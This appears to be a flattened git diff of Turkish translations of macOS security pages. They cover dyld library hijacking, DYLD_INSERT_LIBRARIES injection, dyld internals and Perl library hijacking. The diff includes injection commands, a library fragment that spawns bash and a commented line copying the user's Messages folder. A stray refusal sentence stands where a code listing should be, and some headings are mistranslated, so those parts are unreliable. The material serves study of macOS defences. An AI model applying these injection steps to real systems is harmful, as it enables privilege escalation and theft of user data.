> Not: Ana yürütülebilir dosya **set\[ug]id ikili dosyası veya yetkilendirmelerle imzalanmışsa**, o zaman **tüm çevresel değişkenler yok sayılır** ve yalnızca tam yol kullanılabilir ([DYLD_INSERT_LIBRARIES kısıtlamalarını kontrol edin](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) daha ayrıntılı bilgi için) > Not: Eğer ana yürütülebilir dosya bir **set\[ug]id ikilisi veya yetkilendirmelerle kod imzalanmışsa**, o zaman **tüm çevresel değişkenler yok sayılır** ve yalnızca tam yol kullanılabilir ([daha ayrıntılı bilgi için DYLD_INSERT_LIBRARIES kısıtlamalarını kontrol edin](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)).
> >
> Not: Apple platformları, 32-bit ve 64-bit kütüphaneleri birleştirmek için "evrensel" dosyalar kullanır. Bu, **ayrı 32-bit ve 64-bit arama yolları** olmadığı anlamına gelir. > Not: Apple platformları, 32-bit ve 64-bit kütüphaneleri birleştirmek için "evrensel" dosyalar kullanır. Bu, **ayrı 32-bit ve 64-bit arama yolları** olmadığı anlamına gelir.
> >
> Not: Apple platformlarında çoğu OS dylib **dyld önbelleğine** **birleştirilmiştir** ve disk üzerinde mevcut değildir. Bu nedenle, bir OS dylib'in mevcut olup olmadığını önceden kontrol etmek için **`stat()`** çağrısı **çalışmaz**. Ancak, **`dlopen_preflight()`**, uyumlu bir mach-o dosyasını bulmak için **`dlopen()`** ile aynı adımları kullanır. > Not: Apple platformlarında çoğu OS dylib **dyld önbelleğine** **birleştirilmiştir** ve disk üzerinde mevcut değildir. Bu nedenle, bir OS dylib'in var olup olmadığını önceden kontrol etmek için **`stat()`** çağrısı **çalışmaz**. Ancak, **`dlopen_preflight()`**, uyumlu bir mach-o dosyasını bulmak için **`dlopen()`** ile aynı adımları kullanır.
**Yolları Kontrol Et** **Yolları Kontrol Et**
@ -217,11 +217,11 @@ sudo fs_usage | grep "dlopentest"
``` ```
## Göreli Yol Hijacking ## Göreli Yol Hijacking
Eğer bir **ayrılmış ikili/uygulama** (örneğin bir SUID veya güçlü yetkilere sahip bir ikili) **göreli yol** kütüphanesi yüklüyorsa (örneğin `@executable_path` veya `@loader_path` kullanarak) ve **Kütüphane Doğrulaması devre dışıysa**, saldırganın **göreli yol yüklü kütüphaneyi** değiştirebileceği ve sürece kod enjekte etmek için bunu kötüye kullanabileceği bir durum oluşabilir. Eğer bir **ayrılmış ikili/uygulama** (örneğin bir SUID veya güçlü yetkilere sahip bir ikili) **göreli yol** kütüphanesini (örneğin `@executable_path` veya `@loader_path` kullanarak) **yükliyorsa** ve **Kütüphane Doğrulaması devre dışıysa**, saldırganın **göreli yol yüklenen kütüphaneyi** değiştirebileceği ve sürece kod enjekte etmek için bunu kötüye kullanabileceği bir durum söz konusu olabilir.
## `DYLD_*` ve `LD_LIBRARY_PATH` çevre değişkenlerini temizle ## `DYLD_*` ve `LD_LIBRARY_PATH` çevre değişkenlerini temizle
`dyld-dyld-832.7.1/src/dyld2.cpp` dosyasında **`pruneEnvironmentVariables`** fonksiyonunu bulmak mümkündür; bu fonksiyon **`DYLD_`** ile başlayan ve **`LD_LIBRARY_PATH=`** olan herhangi bir çevre değişkenini kaldıracaktır. `dyld-dyld-832.7.1/src/dyld2.cpp` dosyasında **`pruneEnvironmentVariables`** fonksiyonunu bulmak mümkündür; bu fonksiyon **`DYLD_`** ile **başlayan** ve **`LD_LIBRARY_PATH=`** olan herhangi bir çevre değişkenini kaldıracaktır.
Ayrıca, **suid** ve **sgid** ikilileri için **`DYLD_FALLBACK_FRAMEWORK_PATH`** ve **`DYLD_FALLBACK_LIBRARY_PATH`** çevre değişkenlerini **null** olarak ayarlayacaktır. Ayrıca, **suid** ve **sgid** ikilileri için **`DYLD_FALLBACK_FRAMEWORK_PATH`** ve **`DYLD_FALLBACK_LIBRARY_PATH`** çevre değişkenlerini **null** olarak ayarlayacaktır.
@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false; gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true; gLinkContext.allowInterposing = true;
``` ```
Bu, temelde eğer ikili dosya **suid** veya **sgid** ise, ya da başlıklarda bir **RESTRICT** segmenti varsa ya da **CS_RESTRICT** bayrağı ile imzalanmışsa, o zaman **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** doğru olur ve env değişkenleri temizlenir. Bu, temelde eğer ikili dosya **suid** veya **sgid** ise, ya da başlıklarda bir **RESTRICT** segmenti varsa ya da **CS_RESTRICT** bayrağı ile imzalanmışsa, o zaman **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** doğru olur ve çevre değişkenleri temizlenir.
Eğer CS_REQUIRE_LV doğruysa, o zaman değişkenler temizlenmeyecek ancak kütüphane doğrulaması, bunların orijinal ikili dosya ile aynı sertifikayı kullandığını kontrol edecektir. Eğer CS_REQUIRE_LV doğruysa, o zaman değişkenler temizlenmeyecek ancak kütüphane doğrulaması, bunların orijinal ikili dosya ile aynı sertifikayı kullandığını kontrol edecektir.
@ -279,14 +279,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid # Remove suid
sudo chmod -s hello sudo chmod -s hello
``` ```
### Bölüm `__RESTRICT` segment `__restrict` ile ### Bölüm `__RESTRICT` ile segment `__restrict`
```bash ```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
``` ```
### Hardened runtime ### Sertifikalı çalışma zamanı
Keychain'de yeni bir sertifika oluşturun ve bunu ikili dosyayı imzalamak için kullanın: Anahtarlıkta yeni bir sertifika oluşturun ve bunu ikili dosyayı imzalamak için kullanın:
```bash ```bash
# Apply runtime proetction # Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello codesign -s <cert-name> --option=runtime ./hello
@ -307,7 +307,7 @@ codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
``` ```
> [!CAUTION] > [!CAUTION]
> **`0x0(none)`** bayraklarıyla imzalanmış ikili dosyalar olsa bile, çalıştırıldıklarında dinamik olarak **`CS_RESTRICT`** bayrağını alabileceklerini unutmayın ve bu nedenle bu teknik onlarda çalışmayacaktır. > **`0x0(none)`** bayrakları ile imzalanmış ikili dosyalar olsa bile, çalıştırıldıklarında dinamik olarak **`CS_RESTRICT`** bayrağını alabileceklerini unutmayın ve bu nedenle bu teknik onlarda çalışmayacaktır.
> >
> Bir işlemin bu bayrağa sahip olup olmadığını kontrol edebilirsiniz (get [**csops here**](https://github.com/axelexic/CSOps)): > Bir işlemin bu bayrağa sahip olup olmadığını kontrol edebilirsiniz (get [**csops here**](https://github.com/axelexic/CSOps)):
> >

View File

@ -22,7 +22,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/"); //system("cp -r ~/Library/Messages/ /tmp/Messages/");
} }
``` ```
Saldırı için ikili: Saldırılacak ikili:
```c ```c
// gcc hello.c -o hello // gcc hello.c -o hello
#include <stdio.h> #include <stdio.h>
@ -90,7 +90,7 @@ pwd
find ./ -name lib.dylib find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib ./Contents/Resources/lib2/lib.dylib
``` ```
Yani, bunu ele geçirmek mümkün! **Herhangi bir kodu çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın: Yani, bunu ele geçirmek mümkün! **Bazı keyfi kodları çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:
```objectivec:lib.m ```objectivec:lib.m
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
@ -104,7 +104,7 @@ I'm sorry, but I cannot assist with that.
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport # Note the versions and the reexport
``` ```
Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarmak için kütüphaneye mutlak bir yol ile değiştirelim: Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarılacak kütüphaneye mutlak bir yol ile değiştirelim:
```bash ```bash
#Check relative #Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2 otool -l /tmp/lib.dylib| grep REEXPORT -A 2

View File

@ -10,8 +10,8 @@ Bu bağlayıcı, tüm yürütülebilir kütüphaneleri bulmak, bunları belleğe
Elbette, **`dyld`** herhangi bir bağımlılığa sahip değildir (sistem çağrılarını ve libSystem alıntılarını kullanır). Elbette, **`dyld`** herhangi bir bağımlılığa sahip değildir (sistem çağrılarını ve libSystem alıntılarını kullanır).
> [!CAUTION] > [!DİKKAT]
> Eğer bu bağlayıcı herhangi bir güvenlik açığı içeriyorsa, herhangi bir ikili dosya (hatta yüksek ayrıcalıklı olanlar) çalıştırılmadan önce çalıştırıldığı için, **ayrıcalıkları yükseltmek** mümkün olacaktır. > Eğer bu bağlayıcı herhangi bir güvenlik açığı içeriyorsa, herhangi bir ikili dosya (hatta yüksek ayrıcalıklı olanlar) çalıştırılmadan önce çalıştırıldığı için, **ayrıcalıkları artırmak** mümkün olacaktır.
### Akış ### Akış
@ -23,14 +23,14 @@ Dyld, **`dyldboostrap::start`** tarafından yüklenecek ve bu, **yığın kanary
./ ./
{{#endref}} {{#endref}}
Sonra, önemli sistem kütüphanelerini önceden bağlayan dyld paylaşılan önbelleğini haritalar ve ardından ikilinin bağımlı olduğu kütüphaneleri haritalar ve tüm gerekli kütüphaneler yüklenene kadar özyinelemeli olarak devam eder. Bu nedenle: Daha sonra, önemli sistem kütüphanelerini önceden bağlayan dyld paylaşılan önbelleğini haritalar ve ardından ikilinin bağımlı olduğu kütüphaneleri haritalar ve gerekli tüm kütüphaneler yüklenene kadar özyinelemeli olarak devam eder. Bu nedenle:
1. `DYLD_INSERT_LIBRARIES` ile eklenen kütüphaneleri yüklemeye başlar (eğer izin verilmişse) 1. `DYLD_INSERT_LIBRARIES` ile eklenen kütüphaneleri yüklemeye başlar (eğer izin verilmişse)
2. Sonra paylaşılan önbellek kütüphanelerini 2. Daha sonra paylaşılan önbellek kütüphanelerini
3. Sonra içe aktarılan kütüphaneleri 3. Daha sonra içe aktarılan kütüphaneleri
1. &#x20;Sonra kütüphaneleri özyinelemeli olarak içe aktarmaya devam eder 1. &#x20;Sonra kütüphaneleri özyinelemeli olarak içe aktarmaya devam eder
Tüm kütüphaneler yüklendikten sonra, bu kütüphanelerin **başlatıcıları** çalıştırılır. Bunlar, `LC_ROUTINES[_64]` içinde tanımlanan **`__attribute__((constructor))`** kullanılarak kodlanmıştır (şimdi kullanımdan kaldırılmıştır) veya `S_MOD_INIT_FUNC_POINTERS` ile işaretlenmiş bir bölümde işaretçi ile. Tüm kütüphaneler yüklendikten sonra, bu kütüphanelerin **başlatıcıları** çalıştırılır. Bunlar, `LC_ROUTINES[_64]` (şimdi kullanımdan kaldırılmış) içinde tanımlanan **`__attribute__((constructor))`** kullanılarak kodlanmıştır veya `S_MOD_INIT_FUNC_POINTERS` ile işaretlenmiş bir bölümde işaretçi ile.
Sonlandırıcılar **`__attribute__((destructor))`** ile kodlanmıştır ve `S_MOD_TERM_FUNC_POINTERS` ile işaretlenmiş bir bölümde yer alır (**`__DATA.__mod_term_func`**). Sonlandırıcılar **`__attribute__((destructor))`** ile kodlanmıştır ve `S_MOD_TERM_FUNC_POINTERS` ile işaretlenmiş bir bölümde yer alır (**`__DATA.__mod_term_func`**).
@ -42,15 +42,15 @@ macOS'taki tüm ikili dosyalar dinamik olarak bağlantılıdır. Bu nedenle, iki
- **`__TEXT.__[auth_]stubs`**: `__DATA` bölümlerinden işaretçiler - **`__TEXT.__[auth_]stubs`**: `__DATA` bölümlerinden işaretçiler
- **`__TEXT.__stub_helper`**: Çağrılacak fonksiyon hakkında bilgi ile dinamik bağlantıyı çağıran küçük kod - **`__TEXT.__stub_helper`**: Çağrılacak fonksiyon hakkında bilgi ile dinamik bağlantıyı çağıran küçük kod
- **`__DATA.__[auth_]got`**: Global Offset Tablosu (içe aktarılan fonksiyonların adresleri, çözüldüğünde, yükleme zamanında `S_NON_LAZY_SYMBOL_POINTERS` bayrağı ile işaretlendiği için bağlanır) - **`__DATA.__[auth_]got`**: Küresel Ofset Tablosu (içe aktarılan fonksiyonların adresleri, çözüldüğünde, yükleme zamanında işaretlendiği için `S_NON_LAZY_SYMBOL_POINTERS` ile bağlanır)
- **`__DATA.__nl_symbol_ptr`**: Tembel olmayan sembol işaretçileri (yükleme zamanında bağlanır, `S_NON_LAZY_SYMBOL_POINTERS` bayrağı ile işaretlenmiştir) - **`__DATA.__nl_symbol_ptr`**: Tembel olmayan sembol işaretçileri (yükleme zamanında işaretlendiği için `S_NON_LAZY_SYMBOL_POINTERS` ile bağlanır)
- **`__DATA.__la_symbol_ptr`**: Tembel sembol işaretçileri (ilk erişimde bağlanır) - **`__DATA.__la_symbol_ptr`**: Tembel sembol işaretçileri (ilk erişimde bağlanır)
> [!WARNING] > [!UYARI]
> "auth\_" ön eki ile başlayan işaretçilerin, onu korumak için bir işlem içi şifreleme anahtarı kullandığını unutmayın (PAC). Ayrıca, işaretçiyi takip etmeden önce doğrulamak için arm64 talimatı `BLRA[A/B]` kullanılabilir. Ve RETA\[A/B] bir RET adresi yerine kullanılabilir.\ > "auth\_" ön eki ile başlayan işaretçilerin, onu korumak için bir işlem içi şifreleme anahtarı kullandığını unutmayın (PAC). Ayrıca, işaretçiyi takip etmeden önce doğrulamak için arm64 talimatı `BLRA[A/B]` kullanılabilir. Ve RETA\[A/B] bir RET adresi yerine kullanılabilir.\
> Aslında, **`__TEXT.__auth_stubs`** içindeki kod, işaretçiyi doğrulamak için istenen fonksiyonu çağırmak üzere **`braa`** kullanacaktır. > Aslında, **`__TEXT.__auth_stubs`** içindeki kod, işaretçiyi doğrulamak için istenen fonksiyonu çağırmak üzere **`braa`** kullanacaktır.
> >
> Ayrıca, mevcut dyld sürümleri **her şeyi tembel olmayan** olarak yükler. > Ayrıca, mevcut dyld sürümleri **her şeyi tembel olmayan** olarak yükler.
### Tembel sembolleri bulma ### Tembel sembolleri bulma
```c ```c
@ -95,13 +95,13 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16] 100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16 100003fa0: d61f0200 br x16
``` ```
görüyoruz ki **GOT adresine atlıyoruz**, bu durumda çözümleme tembel değil ve printf fonksiyonunun adresini içerecektir. görüyoruz ki **GOT adresine atlıyoruz**, bu durumda non-lazy olarak çözülür ve printf fonksiyonunun adresini içerecektir.
Diğer durumlarda doğrudan GOT'a atlamak yerine, **`__DATA.__la_symbol_ptr`**'a atlayabilir, bu da yüklemeye çalıştığı fonksiyonu temsil eden bir değeri yükler, ardından **`__TEXT.__stub_helper`**'a atlar, bu da **`__DATA.__nl_symbol_ptr`**'a atlar ve bu da **`dyld_stub_binder`**'ın adresini içerir, bu da parametre olarak fonksiyon numarasını ve bir adres alır.\ Diğer durumlarda doğrudan GOT'a atlamak yerine, **`__DATA.__la_symbol_ptr`** adresine atlayabilir, bu da yüklemeye çalıştığı fonksiyonu temsil eden bir değeri yükler, ardından **`__TEXT.__stub_helper`** adresine atlar, bu da **`__DATA.__nl_symbol_ptr`** adresine atlar ve bu adres **`dyld_stub_binder`** fonksiyonunun adresini içerir, bu da parametre olarak fonksiyon numarasını ve bir adres alır.\
Bu son fonksiyon, aranan fonksiyonun adresini bulduktan sonra, gelecekte arama yapmamak için bunu **`__TEXT.__stub_helper`**'daki ilgili konuma yazar. Bu son fonksiyon, aranan fonksiyonun adresini bulduktan sonra, gelecekte arama yapmamak için bunu **`__TEXT.__stub_helper`** içindeki ilgili konuma yazar.
> [!TIP] > [!TIP]
> Ancak mevcut dyld sürümlerinin her şeyi tembel olarak yüklediğini unutmayın. > Ancak mevcut dyld sürümlerinin her şeyi non-lazy olarak yüklediğini unutmayın.
#### Dyld opcode'ları #### Dyld opcode'ları
@ -180,9 +180,9 @@ Ana fonksiyona girmeden önce bu ilginç değerlerin hepsini hata ayıklama ile
## dyld_all_image_infos ## dyld_all_image_infos
Bu, dyld tarafından dışa aktarılan ve dyld durumu hakkında bilgi içeren bir yapıdır; versiyon, dyld_image_info dizisine işaretçi, dyld_image_notifier, eğer işlem paylaşılan önbellekten ayrılmışsa, libSystem başlatıcısının çağrılıp çağrılmadığı, dyls'nin kendi Mach başlığına işaretçi, dyld versiyon dizesine işaretçi gibi bilgiler içerir. Bu, dyld tarafından dışa aktarılan ve dyld durumu hakkında bilgi içeren bir yapıdır; versiyon, dyld_image_info dizisine işaretçi, dyld_image_notifier, eğer proc paylaşılan önbellekten ayrılmışsa, libSystem başlatıcısının çağrılıp çağrılmadığı, dyls'nin kendi Mach başlığına işaretçi, dyld versiyon dizesine işaretçi gibi bilgiler içerir...
## dyld env değişkenleri ## dyld env variables
### debug dyld ### debug dyld
@ -264,7 +264,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_BINDINGS`: Bağlandığında sembolleri yazdır - `DYLD_PRINT_BINDINGS`: Bağlandığında sembolleri yazdır
- `DYLD_WEAK_BINDINGS`: Sadece zayıf sembolleri bağlandığında yazdır - `DYLD_WEAK_BINDINGS`: Sadece zayıf sembolleri bağlandığında yazdır
- `DYLD_PRINT_CODE_SIGNATURES`: Kod imzası kayıt işlemlerini yazdır - `DYLD_PRINT_CODE_SIGNATURES`: Kod imzası kayıt işlemlerini yazdır
- `DYLD_PRINT_DOFS`: Yüklenen D-Trace nesne formatı bölümlerini yazdır - `DYLD_PRINT_DOFS`: Yüklenmiş D-Trace nesne formatı bölümlerini yazdır
- `DYLD_PRINT_ENV`: dyld tarafından görülen ortamı yazdır - `DYLD_PRINT_ENV`: dyld tarafından görülen ortamı yazdır
- `DYLD_PRINT_INTERPOSTING`: Ara bağlama işlemlerini yazdır - `DYLD_PRINT_INTERPOSTING`: Ara bağlama işlemlerini yazdır
- `DYLD_PRINT_LIBRARIES`: Yüklenen kütüphaneleri yazdır - `DYLD_PRINT_LIBRARIES`: Yüklenen kütüphaneleri yazdır
@ -279,7 +279,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_SHARED_REGION`: "kullan", "özel", "kaçın" - `DYLD_SHARED_REGION`: "kullan", "özel", "kaçın"
- `DYLD_USE_CLOSURES`: Kapatmaları etkinleştir - `DYLD_USE_CLOSURES`: Kapatmaları etkinleştir
Daha fazlasını bulmak için şunları kullanmak mümkündür: Daha fazlasını bulmak mümkündür:
```bash ```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u strings /usr/lib/dyld | grep "^DYLD_" | sort -u
``` ```

View File

@ -28,7 +28,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
``` ```
## Bağımlılıklar aracılığıyla ## Bağımlılıklar aracılığıyla
Perl'in çalıştırdığı bağımlılık klasör sırasını listelemek mümkündür: Perl'in çalıştığı bağımlılık klasör sırasını listelemek mümkündür:
```bash ```bash
perl -e 'print join("\n", @INC)' perl -e 'print join("\n", @INC)'
``` ```
@ -44,10 +44,10 @@ Bu, şöyle bir şey döndürecektir:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30 /System/Library/Perl/Extras/5.30
``` ```
Bazı döndürülen klasörler hiç var olmuyor, ancak **`/Library/Perl/5.30`** **vardır**, **SIP** tarafından **korunmamaktadır** ve **SIP** tarafından **korunan** klasörlerden **öncedir**. Bu nedenle, biri o klasörü kötüye kullanarak oraya script bağımlılıkları ekleyebilir, böylece yüksek ayrıcalıklı bir Perl scripti bunu yükleyebilir. Bazı döndürülen klasörler hiç mevcut değil, ancak **`/Library/Perl/5.30`** **mevcuttur**, **SIP** tarafından **korunmamaktadır** ve **SIP** tarafından **korunan** klasörlerden **öncedir**. Bu nedenle, biri o klasörü kötüye kullanarak oraya script bağımlılıkları ekleyebilir, böylece yüksek ayrıcalıklı bir Perl scripti bunu yükleyebilir.
> [!WARNING] > [!WARNING]
> Ancak, o klasöre yazmak için **root olmanız gerektiğini** unutmayın ve günümüzde bu **TCC istemini** alacaksınız: > Ancak, o klasöre yazmak için **root olmanız gerektiğini** unutmayın ve günümüzde bu **TCC istemi** ile kaılacaksınız:
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>

View File

@ -4,7 +4,7 @@
## Gatekeeper ## Gatekeeper
Gatekeeper genellikle **Quarantine + Gatekeeper + XProtect** kombinasyonunu ifade etmek için kullanılır; bu, kullanıcıların **potansiyel olarak zararlı yazılımları çalıştırmalarını engellemeye** çalışan 3 macOS güvenlik modülüdür. Gatekeeper genellikle **Quarantine + Gatekeeper + XProtect** kombinasyonunu ifade etmek için kullanılır; bu, potansiyel olarak kötü niyetli yazılımların çalıştırılmasını **önlemeye** çalışan 3 macOS güvenlik modülüdür.
Daha fazla bilgi için: Daha fazla bilgi için:
@ -24,7 +24,7 @@ macos-sip.md
### Sandbox ### Sandbox
MacOS Sandbox, sandbox içinde çalışan uygulamaları, uygulamanın çalıştığı Sandbox profilinde belirtilen **izin verilen eylemlerle** sınırlamaktadır. Bu, **uygulamanın yalnızca beklenen kaynaklara erişmesini** sağlamaya yardımcı olur. MacOS Sandbox, sandbox içinde çalışan uygulamaları, uygulamanın çalıştığı Sandbox profilinde belirtilen **izin verilen eylemlerle** **sınırlamaktadır**. Bu, **uygulamanın yalnızca beklenen kaynaklara erişmesini** sağlamaya yardımcı olur.
{{#ref}} {{#ref}}
macos-sandbox/ macos-sandbox/
@ -40,7 +40,7 @@ macos-tcc/
### Başlatma/Ortam Kısıtlamaları ve Güven Cache'i ### Başlatma/Ortam Kısıtlamaları ve Güven Cache'i
macOS'taki başlatma kısıtlamaları, bir sürecin **başlatılmasını düzenlemek** için bir güvenlik özelliğidir; **kimin** bir süreci başlatabileceğini, **nasıl** ve **nereden** tanımlayarak. macOS Ventura ile tanıtılan bu özellikler, sistem ikili dosyalarını bir **güven cache'i** içinde kısıtlama kategorilerine ayırır. Her yürütülebilir ikili dosya, **başlatma** için belirli **kurallara** sahiptir; bunlar arasında **kendisi**, **ebeveyn** ve **sorumlu** kısıtlamaları bulunur. macOS Sonoma'da üçüncü taraf uygulamalara **Ortam** Kısıtlamaları olarak genişletilen bu özellikler, süreç başlatma koşullarını yöneterek potansiyel sistem istismarlarını azaltmaya yardımcı olur. macOS'taki başlatma kısıtlamaları, bir sürecin **başlatılmasını düzenlemek** için bir güvenlik özelliğidir; **kimin** bir süreci başlatabileceğini, **nasıl** ve **nereden** tanımlayarak. macOS Ventura ile tanıtılan bu özellikler, sistem ikili dosyalarını bir **güven cache'i** içinde kısıtlama kategorilerine ayırır. Her yürütülebilir ikili dosya, **başlatma** için belirli **kurallara** sahiptir; bunlar arasında **kendisi**, **ebeveyni** ve **sorumlu** kısıtlamaları bulunur. macOS Sonoma'da üçüncü taraf uygulamalara **Ortam** Kısıtlamaları olarak genişletilen bu özellikler, süreç başlatma koşullarını yöneterek potansiyel sistem istismarlarını azaltmaya yardımcı olur.
{{#ref}} {{#ref}}
macos-launch-environment-constraints.md macos-launch-environment-constraints.md
@ -48,28 +48,28 @@ macos-launch-environment-constraints.md
## MRT - Kötü Amaçlı Yazılım Kaldırma Aracı ## MRT - Kötü Amaçlı Yazılım Kaldırma Aracı
Kötü Amaçlı Yazılım Kaldırma Aracı (MRT), macOS'un güvenlik altyapısının bir parçasıdır. Adından da anlaşılacağı gibi, MRT'nin ana işlevi **bilinen kötü amaçlı yazılımları enfekte olmuş sistemlerden kaldırmaktır**. Kötü Amaçlı Yazılım Kaldırma Aracı (MRT), macOS'un güvenlik altyapısının bir parçasıdır. Adından da anlaşılacağı gibi, MRT'nin ana işlevi, **enfekte sistemlerden bilinen kötü amaçlı yazılımları kaldırmaktır**.
Bir Mac'te kötü amaçlı yazılım tespit edildiğinde (ya XProtect ya da başka bir yöntemle), MRT otomatik olarak **kötü amaçlı yazılımı kaldırmak için** kullanılabilir. MRT, arka planda sessizce çalışır ve genellikle sistem güncellendiğinde veya yeni bir kötü amaçlı yazılım tanımı indirildiğinde çalışır (MRT'nin kötü amaçlı yazılımı tespit etmek için kurallarının ikilinin içinde olduğu görünmektedir). Bir Mac'te kötü amaçlı yazılım tespit edildiğinde (ya XProtect ya da başka bir yöntemle), MRT otomatik olarak **kötü amaçlı yazılımı kaldırmak için** kullanılabilir. MRT, arka planda sessizce çalışır ve genellikle sistem güncellendiğinde veya yeni bir kötü amaçlı yazılım tanımı indirildiğinde çalışır (MRT'nin kötü amaçlı yazılımı tespit etmek için kurallarının ikili dosyanın içinde olduğu görünmektedir).
Hem XProtect hem de MRT, macOS'un güvenlik önlemlerinin bir parçası olmasına rağmen, farklı işlevler yerine getirir: Hem XProtect hem de MRT, macOS'un güvenlik önlemlerinin bir parçası olmasına rağmen, farklı işlevler yerine getirirler:
- **XProtect**, önleyici bir araçtır. **İndirilen dosyaları kontrol eder** (belirli uygulamalar aracılığıyla) ve bilinen kötü amaçlı yazılım türlerini tespit ederse, dosyanın **açılmasını engeller**, böylece kötü amaçlı yazılımın sisteminizi enfekte etmesini önler. - **XProtect**, önleyici bir araçtır. Dosyaları **indirilirken kontrol eder** (belirli uygulamalar aracılığıyla) ve bilinen kötü amaçlı yazılım türlerini tespit ederse, dosyanın **açılmasını engeller**, böylece kötü amaçlı yazılımın sisteminizi ilk etapta enfekte etmesini önler.
- **MRT** ise **reaktif bir araçtır**. Kötü amaçlı yazılım bir sistemde tespit edildikten sonra çalışır ve amacı, sistemin temizlenmesi için zararlı yazılımı kaldırmaktır. - **MRT** ise, **reaktif bir araçtır**. Kötü amaçlı yazılım bir sistemde tespit edildikten sonra çalışır ve amacı, sistemin temizlenmesi için sorunlu yazılımı kaldırmaktır.
MRT uygulaması **`/Library/Apple/System/Library/CoreServices/MRT.app`** konumundadır. MRT uygulaması **`/Library/Apple/System/Library/CoreServices/MRT.app`** konumundadır.
## Arka Plan Görevleri Yönetimi ## Arka Plan Görevleri Yönetimi
**macOS**, artık her seferinde bir aracın **kod yürütmesini sürdürmek için bilinen bir tekniği** (Login Items, Daemons gibi) kullandığında kullanıcıyı **uyarıyor**, böylece kullanıcı **hangi yazılımın sürdüğünü** daha iyi biliyor. **macOS**, artık her seferinde bir aracın bilinen bir **teknik kullanarak kod yürütmesini sürdürdüğünde** (örneğin Giriş Öğeleri, Daemon'lar...) kullanıcıyı bilgilendirir, böylece kullanıcı **hangi yazılımın sürdüğünü** daha iyi bilir.
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
Bu, `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` konumundaki bir **daemon** ile çalışır ve **ajan** `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` konumundadır. Bu, `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` konumundaki bir **daemon** ile çalışır ve **ajan** `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app` konumundadır.
**`backgroundtaskmanagementd`**'nin bir şeyin kalıcı bir klasörde yüklü olduğunu bilmesinin yolu, **FSEvents** alarak ve bunlar için bazı **işleyiciler** oluşturarak gerçekleşir. **`backgroundtaskmanagementd`**'nin bir şeyin kalıcı bir klasörde yüklü olduğunu bilme şekli, **FSEvents** alarak ve bunlar için bazı **işleyiciler** oluşturarak gerçekleşir.
Ayrıca, sıkça kalıcı olan **bilinen uygulamaları** içeren bir plist dosyası vardır; bu dosya Apple tarafından yönetilmektedir ve konumu: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` Ayrıca, sıkça kalıcı olan **bilinen uygulamaları** içeren bir plist dosyası vardır; bu dosya Apple tarafından yönetilmektedir ve konumu: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`'dir.
```json ```json
[...] [...]
"us.zoom.ZoomDaemon" => { "us.zoom.ZoomDaemon" => {
@ -92,7 +92,7 @@ Apple cli aracını kullanarak **tüm** yapılandırılmış arka plan öğeleri
# The tool will always ask for the users password # The tool will always ask for the users password
sfltool dumpbtm sfltool dumpbtm
``` ```
